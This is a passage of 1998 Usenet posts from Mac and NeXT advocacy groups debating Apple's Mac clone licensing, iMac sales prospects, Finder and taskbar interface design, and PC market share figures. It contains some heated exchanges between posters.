References: <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <6pb7pl$9gv$1@plo.sierra.com> <1dcs5e4.18f4op21x6q5pkN@hoorn02.multiweb.net>
NNTP-Posting-Date: 27 Jul 1998 18:20:15 GMT
Dennis SCP wrote in message
<1dcs5e4.18f4op21x6q5pkN@hoorn02.multiweb.net>...
>Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
>
>> Pulsar wrote in message ...
>> >
>> >No undo in the Finder except for file renaming. (This is a big one I
>> >think.)
>>
>> How do you undo a file renaming in the Finder?
>
>Only when you're still typing you can undo, after hitting return it's
>changed forever.
That's what I thought. If you haven't hit <enter> then the file hasn't been
renamed. Thus, there is no undo for renaming files in the Finder.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 10:05:11 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707981005120001@sf-usr1-17-145.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com>
In article <6pgos1$1v1@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Apple's desire to keep cloners small ? Maybe after Jobs.
>
> -arun gupta
>
> Apple nixes Mac clone deal: Gateway's bid scuttled by
> global components shortage.
> (Gateway 2000 not to clone Macintosh
operating system)(Brief Article)
>
> PC Week, Sept 11, 1995 v12 n36 p50(1)
>
> Author
> Swartz, Jon
>
> Full Text
> Gateway 2000 Inc. has lost its bid to become the largest-volume maker
> of Apple Macintosh clones.
>
> Apple Computer Inc. nixed a Mac OS licensing deal with Gateway and
> has put the pursuit of other deals on hold because of worldwide component
> shortages.
>
> Negotiations with Gateway, of North Sioux City, S.D., stalled when
> it became apparent that Apple's latest bout with shortages--this
> time caused by insufficient supplies of many of the chips that come
> in the new Peripheral Component Interconnect Power Macs--will not
> ease up until next spring, sources said.
>
> Components in short supply reportedly include the PowerPC 604 chip,
> certain ASICs (application-specific integrated circuits), dual in-line
> memory modules, and dynamic RAM and static RAM. Currently, all Mac
> clones must include the same chips as Apple's designs because the
> Mac OS requires them.
>
> Gateway reportedly approached Apple about building Mac-compatible
> systems several months ago. The $2.7 billion PC maker would have
> dwarfed Apple's other licensing partners, which include mostly small
> clone makers. Gateway declined to comment.
>
> Apple, of Cupertino, Calif., remains committed to its cloning efforts
> but also must be responsible to its OS partners, said C. Lamar Potts,
> Apple vice president of licensing.
>
> "If we have a problem with component shortages, then potential licensees
> would face the same problem," he said, declining further comment.
>
>
> A global shortage of key components has bedeviled the PC industry
> in general, which is experiencing explosive growth. According to
> analysts, Apple's dependence on customized ASICs has exacerbated
> the Mac shortage.
>
> "The Mac platform is more customized and has a much narrower supply
> base," said Mark Kirstein, senior analyst at Instat Inc., of Scottsdale,
> Ariz. "When Apple consistently changes its ASICs, which are pretty
> exotic, it puts a strain on components."
>
> Apple is likely to get a reprieve from its self-imposed moratorium
> on new licensing deals in the middle of next year, when the CHRP
> (Common Hardware Reference Platform) becomes available. The platform,
> which will enable users to run PowerPC versions of Mac OS, AIX, NetWare,
> OS/2, Windows NT, and Solaris, does not rely on Apple-designed custom
> ASICs, instead allowing clone makers to build Mac-compatible systems
> based on a variety of standard PC components.
>
> Some of the lead candidates for building CHRP-based Mac compatibles
> are Dell Computer Corp., of Austin, Texas, and Compaq Computer Corp.,
> of Houston, sources said. This could make it difficult for a second-
> tier clone maker such as Gateway to obtain a Mac OS license, especially
> now that Apple has limited resources to support Mac OS licensees,
> several sources said.
Well, this is the "official" party line. The truth is somewhat different,
apparently. Two of Spindler's underlings, Jim Buckley and Fred Forsythe
were worried that because, Gateway, like Dell, sold their products only
by direct order and because they discounted their offerings significantly
below those of Compaq, HP, etc.(for similarly configured PCs),that therefore
they would so undercut Apple's prices (and profit margins) that Apple would
not be able to sustain them. In other words, Apple was afraid of a deep
discount channel because it would undermine their high prices and make them
look ridiculous for charging so much, when similar machines offering the
same performance, could be had from Gateway MUCH cheaper. As was usual
with Apple in those days, without a consensus, Spindler didn't know how
to react, so he did what he always did in that situation, he squashed the
project.
George Graves
From: Vareck Bostrom <vareck.bostrom@intel.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 09:12:56 -0700
Organization: Intel Corporation
Message-ID: <35BCA708.7440433@intel.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Can you continue to use TCP/IP on your LAN after you're connected via SLIP?
- Vareck
speaking only for myself
Joe Ragosta wrote:
> True. But not much of an issue.
>
> My normal morning routine is to start my Mac, launch PPP, then open Eudora
> and MSIE. To do so, I open PPP, then click on "connect". I then launch
> Eudora. As soon as it launches, I launch MSIE. By that time, the PPP
> connection is completed. Total elapsed time? Perhaps 15 seconds.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Q: NEXT tech, MacOS X & Industry Challenges
Date: 27 Jul 1998 17:05:27 GMT
Organization: Primenet (602)416-7000
Message-ID: <6pic0n$a1q$1@nnrp03.primenet.com>
References: <uPDu1.32112$Bw1.855898@news.san.rr.com> <6pi0rh$oa4$1@nnrp02.primenet.com> <6pi5ur$8pn$1@nnrp03.primenet.com> <35bcaa15.0@news.depaul.edu>
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > In my view, Apple has made this mistake with long lead-time projects
: > before. Things like OpenDoc sounded cool in the early announcements, but
: > when they finally arrived they were a) sub-optimal implementations and b)
: > no longer interesting. Component documents were still cool, but not as
: > cool as the web. Apple overshot the market. They could do it again.
: This seems to be Microsoft's problem this time, not Apple's. I
: don't believe "killer 3D" is useful enough, to enough people, to
: be more than a curiosity.
I think one of the realities in this business is that eye-candy rules.
Some would like systems and programs to be judged on more "serious"
criteria, but I don't think it changes the reality.
Personally, I'm OK with eye-candy.
John
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 27 Jul 1998 09:32:05 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2707980932050001@dante.eng.uci.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu> <anewmanagn-2407982316290001@a4p22.ideasign.com> <Pine.SOL.3.96.980726001949.7987E-100000@ux7.cso.uiuc.edu> <6pg1bb$5vr@news1.panix.com>
In article <6pg1bb$5vr@news1.panix.com>, sal@panix.com wrote:
>On Sun, 26 Jul 1998 00:25:44 -0500, Pulsar <tokarek@uiuc.edu> wrote:
>>Apple will sell 3-4 million iMac equivalent machines? That's possible I
>>suppose,
>
>Could Apple _build_ 3 or 4 million iMacs? I doubt it. The real benifit of
>the iMac is going to be its ability to increase Apple's volume shipped
>and give it the ability to lower the cost of building higher end machines
In a _year_? You bet. Aug 15 1998 to Aug 15 1999, Apple _could_ build 4
million iMacs. Keep in mind that Apple used to build about a million Macs
per quarter back when they had 20+ models, horrible prediction models, and
terrible ordering and inventory systems.
With a very simple computer, no variation, and (hopefully) multiple
sources of parts, they can just crank them out full-speed. If the demand
is there, I'd expect they can ramp up production to meet it. I think
creating the demand for that many will be harder.
>If Apple sells more then 2.5 million in the first year, I'll dress up like
>an iMac for next Holloween.
I assume you'll put a picture up for all to see...
2.5M might be doable as Apple will have the '99 k-12 buying period as an
anchor at the end. I can see close to 1M systems going out to that market
under a heavy marketing push. If Apple can get 600,000-750,000 out by this
xMas, they'll probably make it.
-Bob Cassidy
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 27 Jul 1998 17:02:03 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6pibqb$mhd$1@news.spacelab.net>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com wrote:
>In article <B1E0AE57-1BF4E@128.138.177.230>,
> "Jay Riley" <datamagik@usa.net> wrote:
>> The objects can be implemented identically at the machine level.
>
>No they cannot be. C++ does not allow you to bind objects to methods at
>runtime.
That functionality is not in the C++ language spec, no. It is possible to
extend C++'s capabilities in various ways, and I seem to recall seeing custom
modifications that support runtime binding (prob. for g++).
However, such changes are very implementation-dependent, and thus aren't
portable. So, you cannot write generic C++ code which depends on runtime
binding, because it isn't going to work under every C++ environment.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 17:16:22 GMT
Organization: Frontier GlobalCenter Inc.
Message-ID: <6picl6$rsl$1@nnrp02.primenet.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com>
<joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35BAB09C.F8830004@nstar.net> <6pg1av$5vr@news1.panix.com> <35BB8E53.DC3C13C4@nstar.net> <gmgraves-2707980950190001@sf-usr1-17-145.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
: Apple's entire on again, off again brush with cloning has always pivoted
: on a single point: "Cheap clones will undermine our own business; both
: from a standpoint of overall sales, and margins."
Absolutely. This is the whole story - I don't see why people try to make
it more complicated.
Actually, I can see one reason. Some among those who support the current
no-clone policy would like to invent the history that cloning never
happened or could never happen. I wonder if they do this unconciously or
with intent?
John
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 10:19:34 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707981019350001@sf-usr1-17-145.dialup.slip.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2407981630080001@wil51.dol.net> <35BB8E53.DC3C13C4@nstar.net> <6pgos1$1v1@newsb.netnews.att.com> <35bbeef9.0@news.depaul.edu>
In article <35bbeef9.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> This article has interesting implications for the OS/X-G3 issue,
> particularly the mention of consistently changed, complex ASICs,
> and also the dependence of MacOS on particular chips which were
> in short supply.
>
> Anyone have independant confirmation on any of this?
I remember seeing the article in MacWeek when it appeared, and at
the time thought it was a strange move for a company which said that
it was embracing the cloning of the Macintosh whole heartedly. I was
right. According to Jim Carlton (Apple: The Inside Story of Intrigue,
Egomania and Business Blunders) the parts shortage thing was just a
smoke screen. There MIGHT have actually been a parts supply problem,
but it was not the reason Apple spurned Gateway. Apple denied a clone
licence to Gateway simply because Gateway's "mail order" prices would
undermine Apple's own pricing strategy (and more importantly, Apple's
profit margins) so badly that Apple would have been unable to sustain
those prices. Over the years, this has been Apple's biggest recurring
fear about clones: that they would somehow detract from Apple's own
sales and start a price war which would require Apple to lower their
own prices. According to Jobs, the former did happen. That's why he
canceled all of the clone licences. The latter has happened anyway,
despite Apple's efforts to avoid it, simply because PC prices have fallen
so far that Apple had to lower its own in order to keep from looking as
if it were "gouging" its customers (which it was).
George Graves
>
> In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> > Apple's desire to keep cloners small ? Maybe after Jobs.
>
> > -arun gupta
>
> > Apple nixes Mac clone deal: Gateway's bid scuttled by
> > global components shortage.
> > (Gateway 2000 not to clone Macintosh
operating system)(Brief Article)
>
> > PC Week, Sept 11, 1995 v12 n36 p50(1)
>
> > Author
> > Swartz, Jon
>
> > Full Text
> > Gateway 2000 Inc. has lost its bid to become the largest-volume maker
> > of Apple Macintosh clones.
<Deleted to save bandwidth>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 27 Jul 1998 17:30:14 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pidf6$8qb$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <TheLidlessEyeTh-2607982345300001@digital-00-40.hou.neoworld.net> <6pi4ot$42a$2@lwnws01.ne.highway1.com> <joe.ragosta-2707981156000001@wil50.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Granted, it's a violation of netiquette, but so is threatening to sue
> someone for what they write.
Not for what you write, for what you misrepresent. That is slander, not free
speech. I made no threats, I said *IF* you misrepresent what I say, I will
sue. That is not a threat, that is informing you of my rights at law. I've
fulfilled my obligations in notifying you that I consider it harmful; if you
persist, I will exercise my legal rights.
Also, guessing that you would violate netiquette, I merely send you a copies
of what I post, as you well know but your post suggests to the contrary, to
usenet. I will refrain from sending you anymore email as a courtesy.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 27 Jul 1998 17:18:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6picpl$6pd@newsb.netnews.att.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu>
Originator: gupta@tlctest
Pulsar <tokarek@uiuc.edu> wrote:
>
>There isn't an obvious enough indication of the foreground application and
>background applications. The application menu is not good enough. This has
>always been a problem in that closing all the windows of an application
>doesn't make the application go away (rightly so). The user can easily get
>confused as to what is currently running. Applications with no windows
>open aren't obvious yet they are still taking up system resources.
>
>Windows has the taskbar. While this isn't perfect, it is much more useful
>than the Macintosh application menu. It presents an obvious way to
>switch between applications and provides clear indication of what is
>currently running. Each window in Windows has an icon and usually an
>applicaiton name that associates that window with a particular
>application.
Closing all the windows of an application in Windows makes the application
go away. The taskbar shows only the set of windows, and doesn't solve
the problem.
-arun gupta
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: what the heck?(WAS: Market share numbers)
Date: Mon, 27 Jul 1998 11:19:11 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981119300001@sdn-ar-001casbarp259.dialsprint.net>
References: <joe.ragosta-2707980922590001@wil37.dol.net>
In article <joe.ragosta-2707980922590001@wil37.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Several people have been posting recently that it's impossible for Apple's
> overall market share to have risen recently. Their argument was that
> Apple's sales were flat from Q1 to Q2 and the rest of the market was
> growing. No matter how many times I pointed out that the "rest of the
> market is growing" was an assumption and not a fact, they weren't
> interested.
>
> But now we have the real truth. Look at today's WSJ:
> "Most PC makers' sales fell sharply in the second quarter"
we all know Joe is very smart, what the hell is he doing? He must very well
know his logic is simply non sequitor (sp?)
Lets analyze what he says:
"Several people have been posting recently that it's impossible for Apple's
overall market share to have risen recently. Their argument was that
Apple's sales were flat from Q1 to Q2 and the rest of the market was
growing"
Ok, Joe has clearly marked the topic as being about TOTAL MARKET SHARE.
Lets say the total market of any thing, say compadres, is 100 units last
year, and 200 units this year. My company's (aple) total shares were 20
units both years.
My market share dropped by half, from %10 to %5. It doesnt matter how the
other companies did. Lets the first year their were 5 companies making
compadres, and the other 4 each sold the same ammount, 20.
But then the next year, 3 of the 4 companies only sold 5 compadres, the
4th company increased from 20 to 165. And then a rabid aple fanatic says
this:
"Several people have been posting recently that it's impossible for Aple's
overall market share to have risen recently. Their argument was that
Apple's sales were flat from last year to this year and the rest of the
market was growing"
> And:
>
> "While their aggregate numbers differ, the two firms [consulting firms
> doing market estimate] agree that most PC makers' sales fell from the
> first quarter".
>
> So, let's see. Apple's sales were flat, most PC makers' sales fell.
> Wouldn't that support the independent reports that Apple's market share
> had increased?
Look, your post is meaningless, you posted no data to show that total
market share of pc's went down, only that some makers went down. If you
show that the total number of personal computers (including macs) went
DOWN, I will agree that my believing the market was growing was incorrect.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Not a troll, please explain
Date: Mon, 27 Jul 1998 11:39:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-2707981139130001@sdn-ar-001casbarp259.dialsprint.net>
References: <Macghod-2407981154540001@sdn-ar-001casbarp005.dialsprint.net> <swhite-2407981939520001@pulm-mac2.bsd.uchicago.edu> <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net> <swhite-2707980932550001@pulm-mac2.bsd.uchicago.edu>
In article <swhite-2707980932550001@pulm-mac2.bsd.uchicago.edu>,
swhite@medicine.bsd.uchicago.edu (Steve White) wrote:
> In article <Macghod-2407982021590001@sdn-ar-001casbarp206.dialsprint.net>,
> Macghod@concentric.net (Steve Sullivan) wrote:
>
> > > It might actually help if you read what was written.
> >
> > What reason is their for you to be such a jerk?
>
>
> Listen, ya hairy-palmed troll, your repeated comments to
> comp.sys.mac.advocacy demonstrate your mental illness sufficiently well.
> If you don't know the facts, as in what PC Data measures, then stop
> spouting off until you do. Otherwise you run the risk (a big one in your
> case) of looking like a fool.
Thanks for snipping my post, where I CLEARLY posted that I was objecting
to what macosrumors said. I copy and pasted EXACTLY what macosrumors
said. Here is a repost of what I quoted from macosrumors, this is ALL
THEY SAID.
Apple market share up to 9.4%!
According to a recent report from PC Data, Apple's market share has
risen from 4% earlier this year to 9.4% in June!
Note: Market share is not the same thing as the installed user
base. Apple has a much larger share of the installed user base than it
does current
market share -- which is a measurement of how many computers are
being sold right now under the Apple name as compared to the total number
of computers being sold period.
Then you replied "
> Yet, from macosrumors, as well as other sites:
>
> Apple market share up to 9.4%!
It might actually help if you read what was written.
Apple's share of the retail store sales was 9.4%.
Their share of the enterprise market is less.
Their share of the education market is about 38%, according to one survey.
I haven't seen anything about direct and internet sales.
"
Not only did I read what it said, I pasted exactly what it said!
SInce you have no intention of polite discussion, and will only resort to
libelous lies, please do not reply to my posts. I take the time to
clearly document where I get the info from, and even pasted all the info
that was given that I was replying in regards to, and yet you have to
resort to lies.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 10:28:15 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2707981028150001@sf-usr1-17-145.dialup.slip.net>
References: <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <joe.ragosta-2407981107010001@wil63.dol.net> <35B8DF8B.FD82305D@ericsson.com> <joe.ragosta-2407981630080001@wil51.dol.net> <35B8F538.88F9A190@ericsson.com> <6pe64i$g57@news1.panix.com> <35c2d68f.109269484@198.0.0.100>
In article <35c2d68f.109269484@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> On 26 Jul 1998 03:00:34 GMT, sal@panix.com (Sal Denaro) wrote:
>
>
> >NT, OS/2, Solaris and Netware for PPC were either killed or never shipped.
> >CHRP was dead before the first box shipped. It was too little, too late.
>
> Then just how do you explain the PPC version of NT4 on my CD?
Yes, Natey, you do indeed have a copy of NT4 for PPC on your NT4 CD.
But I want to make one thing clear that others seem to not realize.
Apple had NOTHING whatever to do with this product because it will
NOT run on a Macintosh, and was never intended to. It was designed to
run on IBM's 6000 series mini-mainframes which use PPC chips. I did
see it run once on a CHRP machine. Motorola was showing it at the
SF MacWorld a couple of years ago running on a CHRP prototype called
a "Viper". There were no apps ever ported to it AFAIK.
George Graves
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 03:25:21 +1000
Organization: University of Queensland
Message-ID: <6pid6g$atl$1@bunyip.cc.uq.edu.au>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu>
Pulsar <tokarek@uiuc.edu> wrote in message
Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu...
>On Fri, 24 Jul 1998, Andy Bates wrote:
>
>> In article <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu>,
>> Pulsar <tokarek@uiuc.edu> wrote:
>>
>> Such as? Were these changes "revolutionary," or just incremental changes?
>> Did they bring along other unwanted behaviors?
>
>In some cases there were other unwanted behaviors brought along. One such
>glaring case is MDI in Windows. Though putting menus in windows is at
>first a logical and apparently useful thing to do, it virtually enforces
>working with full screen applications. Users want as much space as
>possible for document windows. Since document windows are confined to
>application windows, users maximize that application window. This means
>that the user must then switch between multiple full screen
>applications. This resembles single tasking a lot.
>
>Taking the menus outside "application windows" as in the Mac OS and NeXT
>avoids this problem/flaw.
Whilst I don't have a problem with MDI, I recognise its flaws, the
document-centric approach of MacOS, while nice in theory, has a huge problem
(IMHO):
The single menu bar.
At low resolutions, it's ok, because most document windows nearly fill the
screen, and traversing to the menu bar is not a real hassle. OTOH, at high
resolutions (1024x768 and up) having to move between the various document
windows and the menu bar/toolbar gives me an aching hand very quickly.
Since I abhor working at any resolution under 1024x768 (I'd rather
1024x768@60Hz than 800x600@70-80Hz) this is a problem I have noticed a lot
using Macs. After thinking about it for a while, however, a solution I
really like has proved elusive :\. One idea I liked was having no menu
bar/toolbar on screen at all, and holding down the third mouse button would
pop up a menubar/toolbar "block" under the cursor's current position -
that's the best one I've been able to think up, and the biggest problem I've
been able to see with it is standardising the position of the "block"
relative to the cursor (this is a problem I have noticed with context-menus
in NT). This would also be pretty good for those using multiple monitors -
you wouldn't have to treck back to the "main" screen to get at the menubar.
>> For that matter, why is Apple faulted for not accepting new behaviors
from
>> other OSes? Other OSes haven't implemented all of Apple's advancements!
>
>Right! And that is why I consider the Mac UI to be the best! OTOH, there
>are definitely some good ideas to other OSes. To ignore those ideas
>because we have the best UI would be foolish!
The voice of reason is frighteningly loud in this paragraph, Pulsar :).
>There isn't an obvious enough indication of the foreground application and
>background applications. The application menu is not good enough. This has
>always been a problem in that closing all the windows of an application
>doesn't make the application go away (rightly so). The user can easily get
>confused as to what is currently running. Applications with no windows
>open aren't obvious yet they are still taking up system resources.
This is another problem I've noticed (and griped about) multiple times.
Every time I sit down at a college Mac, they are always bogged down and
running slowly - a quick glance at the applications menus shows just about
every program installed on the machine up and running - purely because 90%
of people (statistic from quiet background observation - ie I sit next to
people and watch em out of the corner of my eye) close the last window with
the "close" box, and then don't realise the application is still running.
>
>Windows has the taskbar. While this isn't perfect, it is much more useful
>than the Macintosh application menu. It presents an obvious way to
>switch between applications and provides clear indication of what is
>currently running. Each window in Windows has an icon and usually an
>applicaiton name that associates that window with a particular
>application.
I've noticed a few things I'd like to change about the taskbar.
1. The ability to re-order the buttons/tasks.
2. When using multiple monitors (on Win98) the taskbar is only present on
one monitor, I would personally like to see the taskbar implemented wrt to
multiple monitors in three ways, and be able to choose between them.
a) The way it is now
b) Duplicate the taskbar across all monitors - clicking on a button
jumps the mouse cursor and focus to the monitor the application is running
on
c) Have a separate taskbar for each monitor, displaying only the apps
"running" on that monitor
3. Make it easier to rename the Start button :).
>> And you spend too much time overanalyzing a graphical shortcut! How do
you
>> make an alias to a file, or get info, or create a new folder? You select
>> the item, then make a menu selection or use a command-key shortcut. And
>> that is the EXACT SAME WAY THAT YOU EJECT A DISK! You select the disk (by
>> clicking), and then select the Eject menu item!
>
>Gee. Let's look further into what this entails.
>
>There are 4 options that are worth discussing.
>
>1) Put Away: why does that eject and unmount a disk? Why is it called that
>and why is it in the File menu if it operates on disks?
>
>2) Eject: why is that in the Special menu? That is not an obvious place
>for it. Yes searching through the menus would get the user to it
>eventually, but it is not obvious and intuitive.
>
>3) Drag to the trash: why have a behavior that scares the user to try it
>the first few times?
>
>4) Contextual menu eject: this one is a lot better than all the others,
>but contextual menus are invoked by a control click. That's not very
>intuitive. It is also not an option that is always visible.
>
>Why not have a special widget that makes it clear how to unmount a volume?
>Is that such a horrible thing?
>
>What about the shelf concept that Forrest has mentioned? Is that wrong?
>Would an obvious indication of how to deal with mounted volumes be a bad
>thing? Are you averse to considering it? Are the current Mac OS solutions
>any better?
I wrote a whole post a few months back on how I'd like to see "mountable"
devices implemented, and I was surprised you didn't reply to it :). I'd
appreciate it if you could dig it up in Dejanews (or email me and I'll send
it back) and tell me what you think.
>
>YES!!!!! Don't dismiss the problem because of that!
>
>This could be fixed by a new way of deciding the type of a file. I've
>talked about this before.
Sorry I must have missed it - could you re-iterate or email me how you would
like to see file typing implemented please ? :).
Please don't say it involves something filesystem dependent like forks - BAD
idea.
>
>Ryan Tokarek
><tokarek@uiuc.edu>
><http://www.ews.uiuc.edu/~tokarek>
>
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Q: OOE - Compound Document Standard
Date: 27 Jul 1998 17:29:40 GMT
Organization: MiscKit Development
Message-ID: <6pide4$kl2$1@news.xmission.com>
